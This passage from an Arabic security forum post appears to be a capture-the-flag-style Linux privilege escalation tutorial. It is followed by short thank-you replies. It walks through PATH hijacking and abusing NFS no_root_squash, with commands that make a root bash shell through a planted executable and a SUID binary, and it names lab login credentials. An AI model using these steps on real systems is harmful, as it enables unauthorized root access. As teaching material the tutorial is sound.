لكن لانه الـ tmp/ مش موجود بالـ PATH بنضيفه عن طريق الامر
كود:
export PATH=/tmp:$PATH
بهاي النقطة سكريبت الـ path ببحث داخل المجلد tmp/ عن اي ملف قابل للتشغيل اسمه thm



إنشاء هذا الملف سهل نسبيًا
ببساطة بننسخ الملف bin/bash/ باسم thm داخل المجلد tmp/
عن طريق الامر
كود:
echo "/bin/bash" > thm
بعدها بنرفع صلاحيات ملفنا thm عن طريق الامر
كود:
chmod +x thm

يرجى ملاحظة أنه في هذه المرحلة سيتم تشغيلها بصلاحيات المستخدم الخاصة بنا واللي بخلي تصعيد لصلاحيات أعلى ممكن في هذا السياق هو أن سكربت الـ PATH بشتغل بصلاحيات الـ root

لو نجحنا بتشغيل السكربت PATH
بكون الـ thm بنفس الصلاحيات وبما أن الـ PATH بشتغل بصلاحيات الـ root هيك الـ thm بشتغل بصلاحيات الـ root كمان

الحل بالخطوات
مشاهدة المرفق 9874





رفع الصلاحيات بإستخدام الـ NFS

نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة

اسم المستخدم : karen
الباسورد : Password1

الـ Network File Sharing
موضوع تصعيد الصلاحيات ما بقتصر على الوصول الداخلي فقط حتى الـ Shared folders و (الـ remote management interfaces ) واجهات الإدارة عن بُعد زي SSH و Telnet هدول كلهم ممكن يساعدوك توصل للروت على الجهاز المستهدف

ببعض الحالات ممكن تحتاج تستخدم الاثنين مع بعض
مثلا لو لقيت مفتاح SSH الخاص بالروت على الجهاز المستهدف بتقدر تتصل فيه باستخدام SSH بصلاحيات الروت بدل ما تحاول ترفع صلاحيات المستخدم الحالي

في اشي ثاني ممكن تلاقيه هو لما يكون في ( Network Shell ) غير مضبوط هاد بحصل أحيانًا باختبارات اختراق الشبكات لما يكون في نظام نسخ احتياطي للشبكة موجود

تكوين الـ NFS يتم حفظه بملف etc/exports/ الملف هاد يتم إنشاؤه أثناء تثبيت خادم NFS وعادةً ما يمكن قراءته بواسطة المستخدمين

irDQTze.png

أهم اشي بالموضوع هاد هو الخيار no_root_squash اللي موجود فوق
افتراضيًا الـ NFS بغير المستخدم الجذري إلى nfsnobody وبمحي أي ملف من التشغيل بصلاحيات الـ root

بحالة اذا كان خيار no_root_squash موجودًا على واحد من المسارات بإمكاننا ننشئ ملف قابل للتنفيذ مع تعيين بت SUID وتشغيله على النظام المستهدف

عن طريق الامر التالي بعرضلنا الـ exported shares من خادم NFS بالعنون ip
كود:
showmount -e ip
CmXPDcv.png
بنربط واحد من اللي فيه no_root_squash على جهازنا يعني بنخليه زي share بيننا وبين السيرفر ( الملفات اللي بتكون موجوده بـ backups بتكون موجوده على جهازنا هيك وبنعطي الصلاحيات عن طريق o- هون اعطيناه الكتابة والقراءة )

DwAB1qs.png
نعمل هاي الخطوات على التحدي الموجود

بعدها بننشئ ملف ونضع بداخله bin/bash/ وبعدها عن طريق gcc بنحول الملف لملف تنفيذي
بنعطي الملف suid على النظام الاساسي ونشغل الملف
وهيك بترتفع صلاحيات المستخدم

تطبيق عملي
Soon
.
.
.



تحدي عملي لرفع الصلاحيات


Soon
.
.
.


تم تنزيل المقال هدية للعيد وسيتم اكماله بالايام المقبلة ان شاء الله
( تم شرح كل المواضيع بالمقال فقط تبقى مثال عملي ويفضل المحاولة به بنفسكم لاختبار مهاراتكم )


و كل عام وانتم بالف خير وصحة وسلامه عيد مبارك على الجميع
وفرجاً قريبا على فلسطين وأهلها
اللهم فرجاً قريباً ونصراً عاجلاً
ما شاء الله!
يعطيك ألف عافية
 
انت خليت فيها ستورم؟
انا صرت استحي من الامور اللي بنزلها والله
الله يعطيك الصحه والعافيه
 
  • Love
التفاعلات: STORM
انت خليت فيها ستورم؟
انا صرت استحي من الامور اللي بنزلها والله
زيي
فبطلت أنشر من الأساس 🤣

لكن إن شاء الله نرجع رجعة قوية
 
زيي
فبطلت أنشر من الأساس 🤣

لكن إن شاء الله نرجع رجعة قوية
بأذن الله الله يقوينا ويعينّا
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى